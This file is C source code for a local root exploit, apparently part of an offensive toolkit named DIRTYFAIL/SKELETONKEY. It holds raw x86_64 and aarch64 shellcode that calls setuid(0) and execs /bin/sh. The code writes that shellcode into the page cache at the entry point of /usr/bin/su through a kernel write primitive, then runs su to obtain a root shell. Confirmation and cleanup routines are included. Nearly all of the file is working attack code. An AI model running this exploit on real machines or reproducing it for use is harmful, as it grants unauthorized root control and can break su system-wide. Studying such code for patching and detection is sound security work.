Files
SKELETONKEY/modules/copy_fail_family/exploit_su.c
T

531 lines
20 KiB
C
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
/*
* DIRTYFAIL — exploit_su.c
*
* V4bel-style page-cache shellcode injection against /usr/bin/su.
* See exploit_su.h for the high-level rationale.
*/
#include "exploit_su.h"
#include "copyfail.h"
#include "common.h"
#ifdef __linux__
#include <elf.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
#define SU_PATH "/usr/bin/su"
#define STATE_PATH "/var/tmp/.dirtyfail-su.state"
#define STATE_MAGIC "DFSU0001"
/* x86_64 shellcode: setuid(0); setgid(0); execve("/bin/sh", argv, NULL)
* with argv = ["/bin/sh", NULL]. The proper argv matters: NULL argv
* makes the kernel substitute argv[0]="" (printk: "launched '/bin/sh'
* with NULL argv: empty string added"), and bash/sh-as-init-script
* with empty argv[0] doesn't read commands from stdin reliably.
*
* Layout:
* 0x00 xor rdi, rdi ; mov eax, 105 ; syscall — setuid(0) [10]
* 0x0a xor rdi, rdi ; mov eax, 106 ; syscall — setgid(0) [10]
* 0x14 mov rbx, "/bin/sh\0" ; push rbx — pathname on stack [11]
* 0x1f mov r9, rsp — r9 = path ptr [3]
* 0x22 xor rax, rax ; push rax ; push r9 — argv = [path,NULL][6]
* 0x28 mov rsi, rsp ; mov rdi, r9 — argv, pathname [6]
* 0x2e xor rdx, rdx ; mov eax, 0x3b ; syscall — envp=NULL, execve [10]
*
* Total: 56 bytes = 14 chained 4-byte writes via cf_4byte_write. */
__attribute__((unused))
static const unsigned char shellcode_x86_64[56] = {
/* setuid(0) — 10 bytes */
0x48,0x31,0xff,
0xb8,0x69,0x00,0x00,0x00,
0x0f,0x05,
/* setgid(0) — 10 bytes */
0x48,0x31,0xff,
0xb8,0x6a,0x00,0x00,0x00,
0x0f,0x05,
/* mov rbx, "/bin/sh\0" ; push rbx — 11 bytes */
0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,
0x53,
/* mov r9, rsp — 3 bytes */
0x49,0x89,0xe1,
/* xor rax, rax ; push rax ; push r9 — 6 bytes */
0x48,0x31,0xc0,
0x50,
0x41,0x51,
/* mov rsi, rsp ; mov rdi, r9 — 6 bytes */
0x48,0x89,0xe6,
0x4c,0x89,0xcf,
/* xor rdx, rdx ; mov eax, 0x3b ; syscall — 10 bytes */
0x48,0x31,0xd2,
0xb8,0x3b,0x00,0x00,0x00,
0x0f,0x05,
};
/* aarch64 shellcode: same semantics as x86_64 above (setuid(0),
* setgid(0), execve("/bin/sh", ["/bin/sh", NULL], NULL)) encoded for
* the aarch64 syscall ABI (x8 = syscall number, x0..x5 = args,
* `svc #0` to invoke). 20 instructions × 4 bytes = 80 bytes.
*
* STATUS: UNTESTED on hardware. The bytes were derived by manually
* cross-referencing each instruction against the ARMv8-A reference
* manual; the matching assembly source ships in
* `tools/exploit_su_aarch64.S` so anyone with `aarch64-linux-gnu-as`
* can regenerate and verify. Runtime is gated behind the env var
* `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1` to prevent accidental use. */
__attribute__((unused))
static const unsigned char shellcode_aarch64[80] = {
/* setuid(0) — movz x0,#0 ; movz x8,#146 ; svc #0 */
0x00,0x00,0x80,0xd2,
0x48,0x12,0x80,0xd2,
0x01,0x00,0x00,0xd4,
/* setgid(0) — movz x0,#0 ; movz x8,#144 ; svc #0 */
0x00,0x00,0x80,0xd2,
0x08,0x12,0x80,0xd2,
0x01,0x00,0x00,0xd4,
/* "/bin/sh\0" -> x9 (4× movz/movk lsl) */
0xe9,0x45,0x8c,0xd2, /* movz x9, #0x622f */
0x29,0xcd,0xad,0xf2, /* movk x9, #0x6e69, lsl 16 */
0xe9,0x65,0xce,0xf2, /* movk x9, #0x732f, lsl 32 */
0x09,0x0d,0xe0,0xf2, /* movk x9, #0x0068, lsl 48 */
/* push string : sp -= 16 ; *sp = x9 */
0xe9,0x0f,0x1f,0xf8, /* str x9, [sp, #-16]! */
0xe9,0x03,0x00,0x91, /* mov x9, sp */
/* argv = [x9, NULL] on stack */
0xff,0x43,0x00,0xd1, /* sub sp, sp, #16 */
0xff,0x07,0x00,0xf9, /* str xzr, [sp, #8] */
0xe9,0x03,0x00,0xf9, /* str x9, [sp, #0] */
/* execve(x9, sp, NULL) — syscall 221 */
0xe0,0x03,0x09,0xaa, /* mov x0, x9 */
0xe1,0x03,0x00,0x91, /* mov x1, sp */
0xe2,0x03,0x1f,0xaa, /* mov x2, xzr */
0xa8,0x1b,0x80,0xd2, /* movz x8, #221 */
0x01,0x00,0x00,0xd4, /* svc #0 */
};
/* Build-time arch selection: pick the right shellcode at compile time
* based on the target architecture. SHELLCODE_LEN must be a multiple
* of 4 since cf_4byte_write plants 4 bytes at a time. The unused
* sibling shellcode array is suppressed with __attribute__((unused))
* up at its definition. */
#if defined(__x86_64__) || defined(__amd64__)
# define SHELLCODE_BYTES shellcode_x86_64
# define SHELLCODE_LEN ((int)sizeof(shellcode_x86_64))
# define SHELLCODE_ARCH "x86_64"
# define SHELLCODE_TESTED 1
# define SHELLCODE_PRESENT 1
#elif defined(__aarch64__)
# define SHELLCODE_BYTES shellcode_aarch64
# define SHELLCODE_LEN ((int)sizeof(shellcode_aarch64))
# define SHELLCODE_ARCH "aarch64"
# define SHELLCODE_TESTED 0
# define SHELLCODE_PRESENT 1
#else
# define SHELLCODE_BYTES shellcode_x86_64 /* placeholder, never used */
# define SHELLCODE_LEN 0
# define SHELLCODE_ARCH "unknown"
# define SHELLCODE_TESTED 0
# define SHELLCODE_PRESENT 0
#endif
/* Convenience name kept matching pre-existing usages. */
#define shellcode SHELLCODE_BYTES
/* State file: stash original entry-point bytes so we can revert. */
struct su_state {
char magic[8]; /* "DFSU0001" */
char target_path[256];
uint64_t file_offset;
uint64_t original_len; /* always SHELLCODE_LEN, but explicit for forward-compat */
unsigned char original[SHELLCODE_LEN];
};
/* ---------------------------------------------------------------- *
* ELF parsing — find the file offset of the entry point in /usr/bin/su.
* ---------------------------------------------------------------- */
static bool resolve_entry_offset(const char *path, off_t *out_offset)
{
int fd = open(path, O_RDONLY);
if (fd < 0) {
log_bad("open %s: %s", path, strerror(errno));
return false;
}
Elf64_Ehdr ehdr;
if (pread(fd, &ehdr, sizeof(ehdr), 0) != sizeof(ehdr)) {
log_bad("read ELF header: %s", strerror(errno));
close(fd); return false;
}
if (memcmp(ehdr.e_ident, ELFMAG, 4) != 0) {
log_bad("%s is not an ELF file", path);
close(fd); return false;
}
if (ehdr.e_ident[EI_CLASS] != ELFCLASS64) {
log_bad("%s is not 64-bit ELF (this exploit requires x86_64)", path);
close(fd); return false;
}
if (ehdr.e_machine != EM_X86_64) {
log_bad("%s is not x86_64 (machine=0x%x); shellcode is x86_64-only",
path, ehdr.e_machine);
close(fd); return false;
}
/* Walk program headers to find the LOAD segment containing e_entry. */
Elf64_Phdr phdr;
bool found = false;
for (int i = 0; i < ehdr.e_phnum; i++) {
off_t poff = ehdr.e_phoff + (off_t)i * ehdr.e_phentsize;
if (pread(fd, &phdr, sizeof(phdr), poff) != sizeof(phdr)) {
log_bad("read phdr[%d]: %s", i, strerror(errno));
close(fd); return false;
}
if (phdr.p_type != PT_LOAD) continue;
if (!(phdr.p_flags & PF_X)) continue; /* must be executable */
if (ehdr.e_entry < phdr.p_vaddr) continue;
if (ehdr.e_entry >= phdr.p_vaddr + phdr.p_memsz) continue;
*out_offset = phdr.p_offset + (ehdr.e_entry - phdr.p_vaddr);
found = true;
break;
}
close(fd);
if (!found) {
log_bad("could not locate executable LOAD segment containing e_entry "
"(0x%llx) in %s", (unsigned long long)ehdr.e_entry, path);
return false;
}
/* Sanity: ensure the 48-byte plant region fits inside the file. */
struct stat st;
if (stat(path, &st) < 0) { log_bad("stat: %s", strerror(errno)); return false; }
if ((uint64_t)*out_offset + SHELLCODE_LEN > (uint64_t)st.st_size) {
log_bad("entry offset 0x%llx + %d would overflow %s (size 0x%llx)",
(unsigned long long)*out_offset, SHELLCODE_LEN,
path, (unsigned long long)st.st_size);
return false;
}
return true;
}
/* ---------------------------------------------------------------- *
* Backup / revert
* ---------------------------------------------------------------- */
static bool save_original(const char *path, off_t off)
{
int fd = open(path, O_RDONLY);
if (fd < 0) { log_bad("open %s: %s", path, strerror(errno)); return false; }
struct su_state st = {0};
memcpy(st.magic, STATE_MAGIC, 8);
strncpy(st.target_path, path, sizeof(st.target_path) - 1);
st.file_offset = (uint64_t)off;
st.original_len = SHELLCODE_LEN;
if (pread(fd, st.original, SHELLCODE_LEN, off) != SHELLCODE_LEN) {
log_bad("pread original 48 bytes: %s", strerror(errno));
close(fd); return false;
}
close(fd);
int sfd = open(STATE_PATH, O_WRONLY | O_CREAT | O_TRUNC, 0600);
if (sfd < 0) { log_bad("open %s: %s", STATE_PATH, strerror(errno)); return false; }
if (write(sfd, &st, sizeof(st)) != sizeof(st)) {
log_bad("write state: %s", strerror(errno));
close(sfd); unlink(STATE_PATH); return false;
}
close(sfd);
log_ok("stashed original %d bytes from %s+0x%llx → %s",
SHELLCODE_LEN, path, (unsigned long long)off, STATE_PATH);
return true;
}
/* Read state, return false if missing or malformed. */
static bool load_state(struct su_state *out)
{
int sfd = open(STATE_PATH, O_RDONLY);
if (sfd < 0) {
log_bad("open %s: %s", STATE_PATH, strerror(errno));
return false;
}
if (read(sfd, out, sizeof(*out)) != sizeof(*out)) {
log_bad("read state: %s", strerror(errno));
close(sfd); return false;
}
close(sfd);
if (memcmp(out->magic, STATE_MAGIC, 8) != 0) {
log_bad("state file magic mismatch");
return false;
}
if (out->original_len != SHELLCODE_LEN) {
log_bad("state file original_len=%llu (expected %d)",
(unsigned long long)out->original_len, SHELLCODE_LEN);
return false;
}
return true;
}
/* ---------------------------------------------------------------- *
* Plant + verify
* ---------------------------------------------------------------- */
static bool plant_shellcode(const char *path, off_t base_off,
const unsigned char *bytes, size_t len)
{
if (len % 4 != 0) { log_bad("plant len %zu not multiple of 4", len); return false; }
log_step("planting %zu bytes of shellcode via %zu chained 4-byte writes",
len, len / 4);
for (size_t i = 0; i < len; i += 4) {
unsigned char chunk[4];
memcpy(chunk, bytes + i, 4);
if (!cf_4byte_write(path, base_off + (off_t)i, chunk)) {
log_bad("cf_4byte_write[%zu] failed at offset 0x%llx",
i / 4, (unsigned long long)(base_off + i));
return false;
}
/* Compact progress dot per chunk; no full-line spam. */
fputc('.', stdout); fflush(stdout);
}
fputc('\n', stdout);
return true;
}
static bool verify_plant(const char *path, off_t off,
const unsigned char *expected, size_t len)
{
int fd = open(path, O_RDONLY);
if (fd < 0) { log_bad("verify open: %s", strerror(errno)); return false; }
unsigned char got[SHELLCODE_LEN];
if (pread(fd, got, len, off) != (ssize_t)len) {
log_bad("verify pread: %s", strerror(errno));
close(fd); return false;
}
close(fd);
return memcmp(got, expected, len) == 0;
}
/* try_revert_su_pages: best-effort revert. We don't have CAP_SYS_ADMIN
* to drop_caches in init ns from an unprivileged process, but
* POSIX_FADV_DONTNEED on a freshly-opened fd typically evicts the
* affected pages on most kernels. */
static bool try_revert_su_pages(const char *path, off_t off,
const unsigned char *original, size_t len)
{
if (!plant_shellcode(path, off, original, len)) {
log_warn("revert plant failed — page cache may still be poisoned");
return false;
}
int fd = open(path, O_RDONLY);
if (fd >= 0) {
#ifdef POSIX_FADV_DONTNEED
posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED);
#endif
close(fd);
}
/* Verify the revert landed correctly. */
if (!verify_plant(path, off, original, len)) {
log_warn("revert verification failed — bytes do not match original");
return false;
}
return true;
}
/* ---------------------------------------------------------------- *
* Public entry points
* ---------------------------------------------------------------- */
df_result_t exploit_su_shellcode(bool do_shell)
{
log_step("Copy Fail — /usr/bin/su page-cache shellcode injection");
const char *target = getenv("DIRTYFAIL_SU_PATH");
if (!target || !*target) target = SU_PATH;
/* Architecture preflight. We ship two shellcodes:
* x86_64 — tested end-to-end on Fedora 44 (real-root proven).
* aarch64 — manually encoded from the ARMv8-A reference,
* never executed on hardware. Gated behind an env
* var so an aarch64 user has to opt in explicitly.
* Anything else has no shellcode and aborts here. */
if (!SHELLCODE_PRESENT) {
log_bad("no shellcode for this architecture (built for %s); "
"DIRTYFAIL --exploit-su currently supports x86_64 and "
"aarch64 only.", SHELLCODE_ARCH);
return DF_PRECOND_FAIL;
}
if (!SHELLCODE_TESTED && !getenv("DIRTYFAIL_AARCH64_TRUST_UNTESTED")) {
log_bad("running on %s, where the shipped shellcode has NOT been "
"tested on hardware. Aborting to avoid bricking /usr/bin/su.",
SHELLCODE_ARCH);
log_hint("if you've reviewed tools/exploit_su_aarch64.S and want to "
"proceed at your own risk, set "
"DIRTYFAIL_AARCH64_TRUST_UNTESTED=1 in the environment.");
log_hint("recommended verification: assemble the .S file with "
"`aarch64-linux-gnu-as` and confirm the byte sequence "
"matches `shellcode_aarch64[]` in src/exploit_su.c.");
return DF_PRECOND_FAIL;
}
if (!SHELLCODE_TESTED) {
log_warn("DIRTYFAIL_AARCH64_TRUST_UNTESTED=1: proceeding with "
"untested aarch64 shellcode (%d bytes). If /usr/bin/su "
"breaks, run `dirtyfail --cleanup-su` (or reboot) to "
"evict the modified page from the cache.", SHELLCODE_LEN);
}
struct stat st;
if (stat(target, &st) < 0) {
log_bad("stat %s: %s", target, strerror(errno));
return DF_PRECOND_FAIL;
}
if (!(st.st_mode & S_ISUID) || st.st_uid != 0) {
log_bad("%s is not setuid root (mode=0%o uid=%u)",
target, st.st_mode, st.st_uid);
log_hint("the exploit relies on the setuid bit; without it, the "
"shellcode runs at our existing uid and gains nothing.");
return DF_PRECOND_FAIL;
}
off_t entry_off;
if (!resolve_entry_offset(target, &entry_off)) return DF_TEST_ERROR;
log_ok("/usr/bin/su entry point at file offset 0x%llx",
(unsigned long long)entry_off);
log_warn("about to overwrite %d bytes of %s in the page cache",
SHELLCODE_LEN, target);
log_warn("if this fails or the shellcode crashes, /usr/bin/su will be "
"broken system-wide until --cleanup-su or `drop_caches`");
/* CRITICAL: disable libc stdin buffering before the typed_confirm
* read. Otherwise fgets() pulls extra bytes from the pipe into libc's
* buffer, which is lost when execve() replaces our process — the
* exec'd /bin/sh then sees empty stdin and exits without running
* any commands the user piped in. With _IONBF, fgets does 1-byte
* reads and leaves the kernel pipe intact. */
setvbuf(stdin, NULL, _IONBF, 0);
if (!typed_confirm("DIRTYFAIL")) {
log_bad("confirmation declined");
return DF_OK;
}
if (!save_original(target, entry_off)) return DF_TEST_ERROR;
if (!plant_shellcode(target, entry_off, shellcode, SHELLCODE_LEN)) {
log_warn("plant failed mid-stream — attempting revert");
struct su_state st_in;
if (load_state(&st_in) &&
try_revert_su_pages(target, entry_off, st_in.original, SHELLCODE_LEN)) {
unlink(STATE_PATH);
}
return DF_EXPLOIT_FAIL;
}
if (!verify_plant(target, entry_off, shellcode, SHELLCODE_LEN)) {
log_bad("verify: page cache does not match planted shellcode "
"(kernel likely patched, or AF_ALG/algif_aead blocked)");
struct su_state st_in;
if (load_state(&st_in) &&
try_revert_su_pages(target, entry_off, st_in.original, SHELLCODE_LEN)) {
unlink(STATE_PATH);
}
return DF_EXPLOIT_FAIL;
}
log_ok("page cache of %s now contains shellcode at entry point", target);
if (!do_shell) {
log_step("--no-shell: reverting via DONTNEED+rewrite");
struct su_state st_in;
if (load_state(&st_in) &&
try_revert_su_pages(target, entry_off, st_in.original, SHELLCODE_LEN)) {
log_ok("page cache reverted successfully");
unlink(STATE_PATH);
} else {
log_warn("revert may have failed — run `sudo dirtyfail --cleanup-su` "
"or reboot before using su again");
}
return DF_EXPLOIT_OK;
}
log_ok("invoking %s — kernel will exec setuid-root, jump to our shellcode, "
"and drop a /bin/sh root shell", target);
log_hint("when you exit the shell, run `sudo dirtyfail --cleanup-su` to "
"restore /usr/bin/su (or reboot — page cache is RAM-only)");
execl(target, "su", (char *)NULL);
log_bad("execl: %s", strerror(errno));
return DF_EXPLOIT_FAIL;
}
/* Describe state file if present, for `--list-state`. Returns true if
* an exploit-su state file was found and described, false if absent.
* Silent when file is missing (the normal case). */
bool exploit_su_list_state(void)
{
struct stat ignored;
if (stat(STATE_PATH, &ignored) < 0) return false; /* clean state */
struct su_state st_in;
if (!load_state(&st_in)) return false;
log_warn("/usr/bin/su shellcode planted — state file %s", STATE_PATH);
log_hint(" target: %s, entry-point file offset: 0x%llx",
st_in.target_path, (unsigned long long)st_in.file_offset);
log_hint(" original %llu bytes stashed.",
(unsigned long long)st_in.original_len);
log_hint(" the page cache currently has x86_64 setuid+execve(/bin/sh)");
log_hint(" shellcode in place of the above. Revert with `--cleanup-su`.");
return true;
}
df_result_t cleanup_su_shellcode(void)
{
log_step("--cleanup-su: restore /usr/bin/su entry-point bytes from %s",
STATE_PATH);
struct su_state st_in;
if (!load_state(&st_in)) return DF_TEST_ERROR;
log_hint("target: %s, file_offset: 0x%llx", st_in.target_path,
(unsigned long long)st_in.file_offset);
if (!try_revert_su_pages(st_in.target_path, (off_t)st_in.file_offset,
st_in.original, SHELLCODE_LEN)) {
log_bad("revert failed — manual fix needed: "
"`echo 3 | sudo tee /proc/sys/vm/drop_caches`");
return DF_TEST_ERROR;
}
if (unlink(STATE_PATH) == 0) {
log_ok("page cache restored and state file removed");
} else {
log_warn("page cache restored but %s could not be removed: %s",
STATE_PATH, strerror(errno));
}
return DF_OK;
}
#else /* !__linux__ */
df_result_t exploit_su_shellcode(bool do_shell)
{
(void)do_shell;
return DF_TEST_ERROR;
}
df_result_t cleanup_su_shellcode(void)
{
return DF_TEST_ERROR;
}
bool exploit_su_list_state(void)
{
return false;
}
#endif